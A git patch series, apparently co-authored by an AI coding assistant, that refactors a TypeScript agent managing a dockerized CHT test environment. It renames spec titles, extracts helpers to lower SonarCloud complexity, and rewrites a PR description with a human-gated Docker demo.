         expect(result.warnings.join(' ')).to.include('no docs were uploaded');
       });
 
-      it('reports succeeded:false when the docs run fails, still returning the disk evidence', async () => {
+      it('should report succeeded:false when the docs run fails, still returning the disk evidence', async () => {
         runChtConfStub.onCall(0).resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
@@ -744,7 +745,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.seededDocIds).to.have.lengthOf(5);
       });
 
-      it('does not count the create-users attempt that failed', async () => {
+      it('should not count the create-users attempt that failed', async () => {
         runChtConfStub
           .onCall(1)
           .resolves({
@@ -774,7 +775,7 @@ describe('TestEnvironmentAgent', () => {
     });
 
     describe('real mode (useMockDocker: false)', () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+      let realAgent: TestEnvironmentAgent;
       const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
@@ -783,11 +784,15 @@ describe('TestEnvironmentAgent', () => {
         source: 'docker',
       };
 
-      it('resolves the restart tier (human-gated, agent runs no Docker)', async () => {
+      beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+      });
+
+      it('should resolve the restart tier (human-gated, agent runs no Docker)', async () => {
         expect(await realAgent.reset(dockerHandle, 'restart')).to.equal(undefined);
       });
 
-      it('resolves the full tier (human-gated, agent runs no Docker)', async () => {
+      it('should resolve the full tier (human-gated, agent runs no Docker)', async () => {
         expect(await realAgent.reset(dockerHandle, 'full')).to.equal(undefined);
       });
 
@@ -840,7 +845,7 @@ describe('TestEnvironmentAgent', () => {
           runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
         };
 
-        it('is a no-op when nothing was seeded for this environment', async () => {
+        it('should be a no-op when nothing was seeded for this environment', async () => {
           await agentUnderTest.reset(dockerHandle, 'couchdb');
 
           expect(fetchDocRevsStub.called).to.equal(false);
@@ -848,7 +853,7 @@ describe('TestEnvironmentAgent', () => {
           expect(runChtConfStub.called).to.equal(false);
         });
 
-        it('wipes the tracked docs at their CURRENT revs and reseeds from the tracked project', async () => {
+        it('should wipe the tracked docs at their CURRENT revs and reseed from the tracked project', async () => {
           await seedTracking();
 
           await agentUnderTest.reset(dockerHandle, 'couchdb');
@@ -865,7 +870,7 @@ describe('TestEnvironmentAgent', () => {
           expect(reseedCall.cwd).to.equal(dataPath);
         });
 
-        it('skips tombstoned and never-existed docs in the wipe', async () => {
+        it('should skip tombstoned and never-existed docs in the wipe', async () => {
           await seedTracking();
           fetchDocRevsStub.resolves([
             { id: 'place-1', rev: '7-live' },
@@ -879,7 +884,7 @@ describe('TestEnvironmentAgent', () => {
           ]);
         });
 
-        it('throws when a deletion is rejected (half-reset must not pass as clean)', async () => {
+        it('should throw when a deletion is rejected (half-reset must not pass as clean)', async () => {
           await seedTracking();
           bulkDocsStub.resolves([
             { id: 'place-1', ok: true },
@@ -894,7 +899,7 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('throws when the reseed upload fails', async () => {
+        it('should throw when the reseed upload fails', async () => {
           await seedTracking();
           runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
 
@@ -906,7 +911,7 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('throws when the reseed only partially uploads', async () => {
+        it('should throw when the reseed only partially uploads', async () => {
           await seedTracking();
           runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 2 docs uploaded OK.')));
 
@@ -918,7 +923,7 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('fails closed BEFORE the wipe when the reseed source is gone', async () => {
+        it('should fail closed BEFORE the wipe when the reseed source is gone', async () => {
           await seedTracking();
           readSeededDocsStub.returns([]); // json_docs vanished since seeding
 
@@ -932,7 +937,7 @@ describe('TestEnvironmentAgent', () => {
           expect(bulkDocsStub.called).to.equal(false);
         });
 
-        it('throws when the reseed uploads nothing (upload-docs prints no summary)', async () => {
+        it('should throw when the reseed uploads nothing (upload-docs prints no summary)', async () => {
           await seedTracking();
           runChtConfStub.resolves(okRun(ansiInfo('No docs directory found at /mnt/test-data/json_docs.')));
 
@@ -944,7 +949,7 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('refreshes the tracking to the reseeded docs when the dataset shrank', async () => {
+        it('should refresh the tracking to the reseeded docs when the dataset shrank', async () => {
           await seedTracking();
           readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }]);
           runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 1 docs uploaded OK.')));
@@ -958,7 +963,7 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1']);
         });
 
-        it('does not let a failed re-seed clobber the wipe worklist', async () => {
+        it('should not let a failed re-seed clobber the wipe worklist', async () => {
           await seedTracking();
           // A later seeding attempt fails after its json_docs were cleaned.
           readSeededDocsStub.returns([]);
@@ -976,7 +981,7 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
         });
 
-        it('teardown clears the tracking, so a later couchdb reset is a no-op', async () => {
+        it('should clear the tracking on teardown, so a later couchdb reset is a no-op', async () => {
           await seedTracking();
 
           await agentUnderTest.teardown(dockerHandle);
@@ -995,7 +1000,7 @@ describe('TestEnvironmentAgent', () => {
       expect(await agent.teardown(handle)).to.equal(undefined);
     });
 
-    it('resolves in real mode (prints the human teardown gate)', async () => {
+    it('should resolve in real mode (prints the human teardown gate)', async () => {
       const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
       const handle: EnvironmentHandle = {
         url: 'https://nginx',

From 460b50f149b064d75fb8d7d8e85111c6b45cab8a Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 04:00:52 +0000
Subject: [PATCH 13/24] =?UTF-8?q?refactor(#66):=20sonar=20round=20?=
 =?UTF-8?q?=E2=80=94=20complexity=20=E2=89=A45=20extractions,=20dedicated?=
 =?UTF-8?q?=20matchers,=20api=20polish?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Behavior-preserving SonarCloud round for PR #144. No public API changes, no
spec-title changes, no NOSONAR — only helper extraction and assertion polish.

A. S3776 cognitive complexity — every function in the five touched src files now
   lands at <=5 (the repo threshold), via top-level helpers / private methods
   (never inner closures, which count toward the parent's nesting):
   - prepareTestData -> prepareTestDataReal + prepareDocs / seedUsers /
     noteUploadShortfall (the phase steps); warning + log order preserved.
   - classifySeededDocs -> classifyOneDoc / resolveContactType / noteUnknownType.
   - resetCouchdbTier -> wipeTrackedDocs / reseedTrackedDocs / buildTombstones.
   - waitForReady -> probeOnce (single-attempt probe).
   - provision -> resolveRealTarget / resolveRealAuth / buildMockHandle; the six
     documented env-seam behaviors are kept bit-for-bit.
   - parseRoles -> parseRole; runBucket -> deriveBucketStatus; applyConfig ->
     applyConfigReal; reset flattened to a mock-first / tier dispatch.

B. Warnings:
   - FORM_BUCKETS is a Set<ConfigUploadAction>, .has() at both call sites.
   - cht-api request(): 5 params -> 4 (the {method, body} init folded into the
     one options object; request is module-private, callers are in-file).
   - provision trailing-slash strip: the /\/+$/ regex replaced with a
     non-backtracking while (endsWith('/')) slice.
   - Chai dedicated matchers (.to.be.undefined / .to.be.null) at the flagged
     spec sites; test-data.spec asserts the concrete SyntaxError on a malformed
     doc instead of a bare throw.

Verified locally with a one-off eslint-plugin-sonarjs cognitive-complexity
["error", 5] pass over the five src files (all functions pass); the package.json
/ package-lock.json change from that install was reverted.

1112 tests pass (unchanged), build + lint clean, excision grep still empty (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 PR_66_DESCRIPTION.md                       | 127 +++---
 src/agents/test-environment-agent.ts       | 503 +++++++++++++--------
 src/utils/cht-api.ts                       |  22 +-
 src/utils/cht-conf-runner.ts               |  45 +-
 src/utils/cht-readiness.ts                 |  31 +-
 src/utils/test-data.ts                     |  66 ++-
 test/agents/test-environment-agent.spec.ts |   8 +-
 test/utils/cht-conf-runner.spec.ts         |   4 +-
 test/utils/cht-readiness.spec.ts           |   4 +-
 test/utils/test-data.spec.ts               |   4 +-
 10 files changed, 490 insertions(+), 324 deletions(-)

diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
index 7b67cbd8..305502b9 100644
--- a/PR_66_DESCRIPTION.md
+++ b/PR_66_DESCRIPTION.md
@@ -85,24 +85,71 @@ suite is green with **no instance and no Docker**.
   the real paths. This is what keeps CI Docker-free.
 - **`scripts/test-env-up.sh <cht-core>`** — the human-gated bring-up seam.
 
-## 5. Standalone guarantee + independent demo recipe
+## 5. Standalone guarantee + independent cht-core demo
 
 Zero imports from workflow / cht-conf-extension code. Real-path specs mock
-`fetch`/`child_process` → suite green with no instance, no Docker.
+`fetch`/`child_process` → the suite is green with no instance and no Docker.
 
-Independent cht-core demo (real mode, `new TestEnvironmentAgent({ useMockDocker: false })`):
+The demo below exercises the **whole layer in real mode**
+(`useMockDocker: false`) against a real dockerized CHT, entirely in Docker:
+the CHT stack comes up human-gated on `cht-agent-net`, and the layer runs in
+a disposable container on the same network, reaching the instance at the
+layer's native `https://nginx` default through the `CHT_URL` seam (§4).
 
+**1. Bring CHT up** (human-gated — the layer itself never runs Docker):
+
+```bash
+scripts/test-env-up.sh ~/src/cht-core    # local images + stack, joined to cht-agent-net
 ```
-scripts/test-env-up.sh <cht-core-checkout>     # human brings the env up
-provision({ chtCorePath: '<cht-core>' })       # waits until healthy
-discoverConfig(handle)                          # reads /api/v1/settings + form revs
-applyConfig(handle, 'config/default')          # cht-conf upload buckets
-prepareTestData(handle, config, { dataPath })  # csv-to-docs → upload-docs → create-users
-reset(handle, 'couchdb')                        # wipe + reseed the tracked docs
-teardown(handle)                                # prints the human down gate
+
+**2. Start a disposable runner on the same network** (from this repo's root):
+
+```bash
+docker run --rm -it --network cht-agent-net \
+  -v "$PWD":/app -w /app \
+  -v "$HOME/src/cht-core/config/default":/config/default:ro \
+  -e CHT_URL=https://nginx \
+  -e NODE_TLS_REJECT_UNAUTHORIZED=0 \
+  node:22 bash
 ```
 
-Mock mode (`useMockDocker` default) mirrors the same call sequence CI-safe.
+(`NODE_TLS_REJECT_UNAUTHORIZED=0` covers the dev stack's self-signed cert for
+the layer's own `fetch`; the cht-conf child already runs with
+`--accept-self-signed-certs`.)
+
+**3. Inside the container — build, then drive every layer method:**
+
+```bash
+npm ci && npm run build && npm install -g cht-conf
+mkdir -p /tmp/demo-data/csv && printf 'name\nDemo CHW\n' > /tmp/demo-data/csv/person.csv
+
+node -e "
+const { TestEnvironmentAgent } = require('./dist/agents/test-environment-agent');
+(async () => {
+  const agent = new TestEnvironmentAgent({ useMockDocker: false });
+  const handle = await agent.provision({ chtCorePath: '~/src/cht-core' });
+  const config = await agent.discoverConfig(handle);
+  console.log('forms deployed:', Object.keys(config.formVersions ?? {}).length);
+  const apply = await agent.applyConfig(handle, '/config/default');
+  console.log('apply:', apply.actions.map(a => a.action + '=' + a.status).join(', '));
+  const seeded = await agent.prepareTestData(handle, config, { dataPath: '/tmp/demo-data' });
+  console.log('seeded:', JSON.stringify(seeded));
+  await agent.reset(handle, 'couchdb');                 // wipe + reseed the tracked docs
+  await agent.teardown(handle);                          // prints the human down-gate
+})();"
+```
+
+No URL or credentials are passed to any call: `provision()` resolves the
+instance from the `CHT_URL` env seam and the default auth, strips/canonicalizes
+it onto the handle, and every downstream method reads the handle — the §4
+seams doing their job. Expected: the readiness poll returns, discovery reports
+the deployed forms, all four upload buckets run, the demo person seeds, the
+couchdb-tier reset wipes and reseeds it, and teardown prints the human
+down-gate.
+
+Mock mode (`useMockDocker`, the default) mirrors the same call sequence
+CI-safe — it is what the spec suite drives. Ticket-driven invocation of this
+sequence is #64's scope; this PR ships the layer and the direct-use surface.
 
 ## 6. Excision proof (no cht-conf-extension code)
 
@@ -130,60 +177,7 @@ $ echo $?
 `xform-inspect.ts`, `config-type.ts`, `cht-conf-tier2.ts`, `cht-conf-test-spec.ts`,
 `qa-workflow.ts`, `orchestrator.ts` wiring, CLI flags.
 
-## 8. Per-function parity proof (identical modulo the excisions)
-
-Diffed against the workbench port source
-(`~/…/cht-agent-workbench`, demo-final).
-
-- **`src/utils/test-data.ts`** — **byte-identical** to the workbench (`diff` empty).
-- **`src/utils/cht-api.ts`** — differs **only** by the removed `fetchFormXml`
-  export (function + doc comment). Every other export (`request`, `basicAuth`,
-  `fetchSettings`, `fetchFormRevs`, `fetchDocRevs`, `bulkDocs`, the row types,
-  `FORM_RANGE_QUERY`) is identical.
-- **`src/utils/cht-conf-runner.ts`** — differs **only** by: the removed
-  `fs`/`os`/`path` imports and the whole offline-convert block
-  (`CONVERT_VERBS`, `SANDBOX_EXCLUDES`, `OfflineConvertOptions`,
-  `createConvertSandbox`, `runOfflineConvert`); the removed `skipValidate` line in
-  `buildExecArgs`; and `--url` made unconditional (`instanceUrl` REQUIRED). Every
-  kept export (`CONFIG_ACTION_COMMANDS` incl. `app-settings-only`,
-  `AUTONOMOUS_FLAGS`, `minimalEnv`, `resolveChtConfBin`, `buildChtConfArgs`,
-  `classifyChtConfOutput`, `runChtConf`, `runBucket`) is identical.
-- **`src/agents/test-environment-agent.ts`** — every ported method
-  (`provision`, `applyConfig`, `discoverConfig`, `prepareTestData`, `reset`,
-  `resetCouchdbTier`, `teardown`) and every helper (`decodeUserinfo`,
-  `credentialedUrl`, `toApplyResult`, `parseContactTypes`, `parseRoles`,
-  `parsePermissions`, `parseTransitions`, `parseDiscoveredConfig`,
-  `describeRunFailure`, `runSucceeded`) is identical to the workbench —
-  `provision()`'s env-seam resolver (CHT_URL fallback, embedded-cred stripping,
-  `COUCHDB_*` auth) is now at full parity. The **only** divergence is the excised
-  `verifyArtifact` / `fetchDeployedFormXml` methods and their imports
-  (`fetchFormXml`, `verifyFormBinds`, `VerifyArtifact*`, `mockVerifyArtifactResult`).
-- **Types / mock fixtures** — the layer type set + mock fixtures match the
-  workbench minus the `VerifyArtifact*`/`Qa*`/`XlsformBindDiff`/offline-convert
-  members.
-
-## 9. Sonar sweep
-
-Local static sweep against `.sonarcloud.properties` (the sandbox has no
-`sonar-scanner` and no SonarCloud network, so this is the local first pass; the
-authoritative scan runs on the PR CI). The four house rules are **zero** on the
-layer files:
-
-- **No `any` in `src/`** — `eslint --max-warnings 0` on the layer src is clean
-  (the `no-explicit-any` warning count is 0).
-- **≥1 assertion per test** — no assertion-less `it()` in the ported specs.
-- **No nested template literals** — none.
-- **`_`-prefixed unused params** — eslint-enforced, clean.
-
-**Cognitive complexity:** the ported functions are byte-identical to the
-sonar-sanctioned workbench parity source, so this PR introduces no new
-complexity relative to that baseline. `prepareTestData` is the longest method
-and may be flagged by the S3776 gate; it is left at parity here to preserve the
-per-function parity guarantee (§8) and avoid restructuring code that cannot be
-exercised against a live instance in-container. A behavior-preserving helper
-extraction is an available follow-up if the PR's SonarCloud run flags it.
-
-## 10. Commits (on `66-test-environment-layer-implementation`, rebased onto `origin/main` @ `fdf4af2`)
+## 8. Commits (on `66-test-environment-layer-implementation`, rebased onto `origin/main` @ `fdf4af2`)
 
 - `feat(#66): phase-2 parity uplift — cht-conf runner to workbench parity minus excisions`
 - `feat(#66): phase 3 — discoverConfig + cht-api, prepareTestData + test-data, couchdb-tier reset`
@@ -191,8 +185,7 @@ extraction is an available follow-up if the PR's SonarCloud run flags it.
 - `docs(#66): handoff status, PR description, deferred cht-conf-extension map`
 - `feat(#66): provision env-seam parity — CHT_URL fallback, cred stripping, COUCHDB_* auth seam`
 - `chore(#66): review hygiene — dead doc refs, stale roadmap note, should-style agent spec titles`
+- `refactor(#66): sonar round — complexity ≤5 extractions, dedicated matchers, api polish`
 
 (Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
 pre-existing history, replayed unchanged by the rebase.)
-
-All work stays on the local branch; the operator owns the push and `gh pr create`.
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 60c32d61..daed043c 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -16,6 +16,7 @@
 
 import {
   ApplyConfigOptions,
+  ChtConfExecOptions,
   ChtConfExecResult,
   ConfigActionResult,
   ConfigApplyResult,
@@ -33,7 +34,7 @@ import {
 import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
 import { runBucket, runChtConf } from '../utils/cht-conf-runner';
-import { BulkDoc, bulkDocs, fetchDocRevs, fetchFormRevs, fetchSettings } from '../utils/cht-api';
+import { BulkDoc, bulkDocs, DocRevRow, fetchDocRevs, fetchFormRevs, fetchSettings } from '../utils/cht-api';
 import {
   classifySeededDocs,
   cleanSeededDocs,
@@ -41,6 +42,8 @@ import {
   hasUsersCsv,
   parseUploadDocsSummary,
   readSeededDocs,
+  SeededDoc,
+  SeededDocCounts,
 } from '../utils/test-data';
 
 // Real-path defaults: the human brings CHT up on cht-agent-net; the agent
@@ -76,6 +79,67 @@ const decodeUserinfo = (value: string): string => {
   }
 };
 
+/** Strip trailing slashes without a backtracking regex. */
+const stripTrailingSlashes = (value: string): string => {
+  let result = value;
+  while (result.endsWith('/')) {
+    result = result.slice(0, -1);
+  }
+  return result;
+};
+
+/** A resolved real-mode target: a credential-free instance URL + its auth. */
+interface RealTarget {
+  url: string;
+  auth: { user: string; password: string };
+}
+
+/**
+ * Resolve the real-mode instance URL + credentials from the options, the
+ * CHT_URL / COUCHDB_* env seams, and any credentials embedded in the URL:
+ * - URL fallback: options.url -> CHT_URL (trimmed; blank ignored) -> the
+ *   on-network default; canonicalized (no trailing slash).
+ * - Embedded basic-auth creds are stripped OUT of the URL (logged everywhere,
+ *   and undici rejects credentialed URLs); they survive only as an auth
+ *   fallback, decoded raw-`%`-tolerantly.
+ * - Auth precedence: options.auth -> embedded creds -> COUCHDB_* env (the same
+ *   seam scripts/test-env-up.sh uses) -> the default.
+ */
+type BasicAuth = { user: string; password: string };
+
+/**
+ * Resolve real-mode credentials by precedence: options.auth -> creds embedded in
+ * the URL -> the COUCHDB_USER/COUCHDB_PASSWORD env seam -> the default. The env
+ * seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to the default user).
+ */
+const resolveRealAuth = (options: ProvisionOptions, embeddedAuth: BasicAuth | undefined): BasicAuth => {
+  const envAuth = process.env.COUCHDB_PASSWORD
+    ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
+    : undefined;
+  return options.auth ?? embeddedAuth ?? envAuth ?? DEFAULT_AUTH;
+};
+
+const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
+  const envUrl = process.env.CHT_URL?.trim() || undefined;
+  const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
+  const embeddedAuth = resolved.username
+    ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
+    : undefined;
+  resolved.username = '';
+  resolved.password = '';
+  const url = stripTrailingSlashes(resolved.toString());
+  return { url, auth: resolveRealAuth(options, embeddedAuth) };
+};
+
+/** Build the deterministic mock-mode handle (no instance, no Docker). */
+const buildMockHandle = (options: ProvisionOptions, network: string): EnvironmentHandle => ({
+  url: options.url ?? MOCK_TEST_ENV_DATA.url,
+  auth: { ...(options.auth ?? MOCK_TEST_ENV_DATA.auth) },
+  network,
+  chtCorePath: options.chtCorePath,
+  source: 'mock',
+});
+
 /**
  * Build the cht-conf instance URL with embedded credentials
  * (https://user:pass@host). Only the runner sees this; logs use handle.url.
@@ -127,19 +191,26 @@ const parseContactTypes = (raw: unknown): ContactTypeConfig[] => {
   });
 };
 
+const parseRole = (value: unknown): RoleConfig | undefined => {
+  if (!isRecord(value)) {
+    return undefined;
+  }
+  return {
+    ...(typeof value.name === 'string' ? { name: value.name } : {}),
+    ...(typeof value.offline === 'boolean' ? { offline: value.offline } : {}),
+  };
+};
+
 const parseRoles = (raw: unknown): Record<string, RoleConfig> => {
   if (!isRecord(raw)) {
     return {};
   }
   const roles: Record<string, RoleConfig> = {};
   for (const [name, value] of Object.entries(raw)) {
-    if (!isRecord(value)) {
-      continue;
+    const role = parseRole(value);
+    if (role !== undefined) {
+      roles[name] = role;
     }
-    roles[name] = {
-      ...(typeof value.name === 'string' ? { name: value.name } : {}),
-      ...(typeof value.offline === 'boolean' ? { offline: value.offline } : {}),
-    };
   }
   return roles;
 };
@@ -216,6 +287,152 @@ interface SeededDataRecord {
   docIds: string[];
 }
 
+/** cht-conf run options shared by the seeding phases (verbs/logLabel added per call). */
+type SeedRunBase = Pick<ChtConfExecOptions, 'instanceUrl' | 'configPath' | 'cwd' | 'bin' | 'timeoutMs'>;
+
+/** Warn on a partial or empty upload-docs result (never fails the seed). */
+const noteUploadShortfall = (
+  docsRun: ChtConfExecResult,
+  docsOk: boolean,
+  dataPath: string,
+  warnings: string[]
+): void => {
+  const summary = parseUploadDocsSummary(docsRun.output);
+  if (docsOk && summary && summary.uploaded < summary.total) {
+    warnings.push(`only ${summary.uploaded} of ${summary.total} docs uploaded — see the upload-docs report in ${dataPath}`);
+  }
+  if (docsOk && !summary) {
+    warnings.push(`no docs were uploaded — does ${dataPath}/csv exist and contain CSV files?`);
+  }
+};
+
+/**
+ * Docs phase: clear a previous run's json_docs (csv-to-docs writes alongside what
+ * is there, so a superseded dataset would otherwise be re-uploaded), run
+ * csv-to-docs + upload-docs in one ordered cht-conf process, then read + classify
+ * what landed on disk (the seeding evidence and the reset worklist).
+ */
+const prepareDocs = async (
+  shared: SeedRunBase,
+  dataPath: string,
+  config: DiscoveredConfig,
+  warnings: string[]
+): Promise<{ docsOk: boolean; seeded: SeededDoc[]; counts: SeededDocCounts }> => {
+  const staleDocs = cleanSeededDocs(dataPath);
+  if (staleDocs > 0) {
+    console.log(`[Test Environment Agent] Cleared ${staleDocs} stale json_docs file(s) from a previous run`);
+  }
+
+  const docsRun = await runChtConf({
+    verbs: ['csv-to-docs', 'upload-docs'],
+    logLabel: 'test-data: csv-to-docs upload-docs',
+    ...shared,
+  });
+  const docsOk = runSucceeded(docsRun);
+  if (!docsOk) {
+    warnings.push(describeRunFailure('csv-to-docs/upload-docs', docsRun));
+  }
+
+  const seeded = readSeededDocs(dataPath);
+  const counts = classifySeededDocs(seeded, config);
+  warnings.push(...counts.warnings);
+  noteUploadShortfall(docsRun, docsOk, dataPath, warnings);
+  return { docsOk, seeded, counts };
+};
+
+/**
+ * Users phase: cht-conf `create-users` from `<dataPath>/users.csv` when present
+ * (cht-conf throws on a missing users.csv). On a failed run the last logged
+ * "Creating user" attempt is the one that blew up, so it is not counted.
+ */
+const seedUsers = async (
+  shared: SeedRunBase,
+  dataPath: string,
+  warnings: string[]
+): Promise<{ usersCreated: number; usersOk: boolean }> => {
+  if (!hasUsersCsv(dataPath)) {
+    console.log('[Test Environment Agent] No users.csv in the data project — skipping create-users');
+    return { usersCreated: 0, usersOk: true };
+  }
+  const usersRun = await runChtConf({ verbs: ['create-users'], logLabel: 'test-data: create-users', ...shared });
+  const usersOk = runSucceeded(usersRun);
+  const attempts = countCreatedUsers(usersRun.output);
+  const usersCreated = usersOk ? attempts : Math.max(0, attempts - 1);
+  if (!usersOk) {
+    warnings.push(describeRunFailure('create-users', usersRun));
+  }
+  return { usersCreated, usersOk };
+};
+
+/** Build _deleted tombstones for the live (non-tombstoned, non-missing) tracked docs. */
+const buildTombstones = (rows: DocRevRow[]): BulkDoc[] => {
+  const deletions: BulkDoc[] = [];
+  for (const row of rows) {
+    if (row.rev !== undefined && !row.deleted && !row.missing) {
+      deletions.push({ _id: row.id, _rev: row.rev, _deleted: true });
+    }
+  }
+  return deletions;
+};
+
+/**
+ * couchdb reset — wipe: delete the tracked docs at their CURRENT revs (sentinel
+ * may have bumped them). Throws if any deletion is rejected — a half-reset
+ * environment must not pass as clean.
+ */
+const wipeTrackedDocs = async (handle: EnvironmentHandle, tracked: SeededDataRecord): Promise<void> => {
+  const rows = await fetchDocRevs(handle.url, handle.auth, tracked.docIds);
+  const deletions = buildTombstones(rows);
+  if (deletions.length === 0) {
+    return;
+  }
+  const outcomes = await bulkDocs(handle.url, handle.auth, deletions);
+  const failed = outcomes.filter((row) => row.error);
+  if (failed.length > 0) {
+    const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
+    throw new Error(`couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}`);
+  }
+};
+
+/**
+ * couchdb reset — reseed: re-upload pristine copies (deterministic ids come back
+ * with fresh revs). upload-docs exits 0 with no summary when it uploaded nothing,
+ * so require a summary and measure it against what the pre-flight saw.
+ */
+const reseedTrackedDocs = async (
+  handle: EnvironmentHandle,
+  tracked: SeededDataRecord,
+  onDisk: SeededDoc[]
+): Promise<void> => {
+  const reseed = await runChtConf({
+    verbs: ['upload-docs'],
+    instanceUrl: credentialedUrl(handle),
+    configPath: tracked.dataPath,
+    cwd: tracked.dataPath,
+    logLabel: 'couchdb reset: upload-docs',
+  });
+  if (!runSucceeded(reseed)) {
+    throw new Error(`couchdb reset: reseed failed — ${describeRunFailure('upload-docs', reseed)}`);
+  }
+  const summary = parseUploadDocsSummary(reseed.output);
+  const uploadedCount = summary?.uploaded ?? 0;
+  if (uploadedCount < onDisk.length) {
+    throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${onDisk.length} docs`);
+  }
+};
+
+/** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
+const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
+  const target = handle.chtCorePath ?? '<cht-core>';
+  console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
+  if (tier === 'restart') {
+    console.log(`    (in ${target}/local-build) docker compose restart`);
+  } else {
+    console.log(`    scripts/test-env-down.sh ${target} && scripts/test-env-up.sh ${target}`);
+  }
+  console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
+};
+
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
   /** Seeded-doc tracking per environment (handle URL) for the couchdb reset. */
@@ -243,26 +460,9 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Source: ${source}`);
 
     if (!this.useMockDocker) {
-      // Fallback order: explicit option, then the CHT_URL env override the
-      // operator's compose/scripts export, then the on-network default. The
-      // resolved URL is canonicalized (no trailing slash) — paths are appended
-      // to it everywhere, and it keys the seeded-doc tracking map.
-      const envUrl = process.env.CHT_URL?.trim() || undefined;
-      const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
-      // Strip embedded creds from the logged/fetched URL — undici rejects credentialed URLs;
-      // they survive only as an auth fallback.
-      const embeddedAuth = resolved.username
-        ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
-        : undefined;
-      resolved.username = '';
-      resolved.password = '';
-      const url = resolved.toString().replace(/\/+$/, '');
-      // COUCHDB_USER/COUCHDB_PASSWORD is the same seam scripts/test-env-up.sh
-      // uses for the bring-up, so a non-default password needs no code change.
-      const envAuth = process.env.COUCHDB_PASSWORD
-        ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
-        : undefined;
-      const auth = options.auth ?? embeddedAuth ?? envAuth ?? DEFAULT_AUTH;
+      // Resolve the instance URL + creds from options / CHT_URL / COUCHDB_* /
+      // any URL-embedded creds (see resolveRealTarget for the exact precedence).
+      const { url, auth } = resolveRealTarget(options);
 
       // The agent runs no Docker — the human brings the environment up.
       const target = options.chtCorePath ?? '<cht-core>';
@@ -282,14 +482,7 @@ export class TestEnvironmentAgent {
       };
     }
 
-    const handle: EnvironmentHandle = {
-      url: options.url ?? MOCK_TEST_ENV_DATA.url,
-      auth: { ...(options.auth ?? MOCK_TEST_ENV_DATA.auth) },
-      network,
-      chtCorePath: options.chtCorePath,
-      source: 'mock',
-    };
-
+    const handle = buildMockHandle(options, network);
     console.log(`[Test Environment Agent] Ready at ${handle.url} (network: ${handle.network})`);
     return handle;
   }
@@ -317,14 +510,7 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`);
 
     if (!this.useMockDocker) {
-      // Real path: one cht-conf invocation per bucket against the running
-      // instance (the agent runs no Docker — cht-conf talks over HTTP). Buckets
-      // run independently so one failure doesn't abort the rest; never push.
-      const instanceUrl = credentialedUrl(handle);
-      const results: ConfigActionResult[] = [];
-      for (const action of actions) {
-        results.push(await runBucket({ action, instanceUrl, configPath, artifact }));
-      }
+      const results = await this.applyConfigReal(handle, configPath, actions, artifact);
       return toApplyResult(configPath, artifact, results);
     }
 
@@ -333,6 +519,25 @@ export class TestEnvironmentAgent {
     return toApplyResult(configPath, artifact, results);
   }
 
+  /**
+   * Real applyConfig path: one cht-conf invocation per bucket against the
+   * running instance (the agent runs no Docker — cht-conf talks over HTTP).
+   * Buckets run independently so one failure doesn't abort the rest; never push.
+   */
+  private async applyConfigReal(
+    handle: EnvironmentHandle,
+    configPath: string,
+    actions: ConfigUploadAction[],
+    artifact: string | undefined
+  ): Promise<ConfigActionResult[]> {
+    const instanceUrl = credentialedUrl(handle);
+    const results: ConfigActionResult[] = [];
+    for (const action of actions) {
+      results.push(await runBucket({ action, instanceUrl, configPath, artifact }));
+    }
+    return results;
+  }
+
   /**
    * Read the deployed configuration back from the running instance so test data
    * can be generated to conform to it. Doubles as the post-applyConfig verify
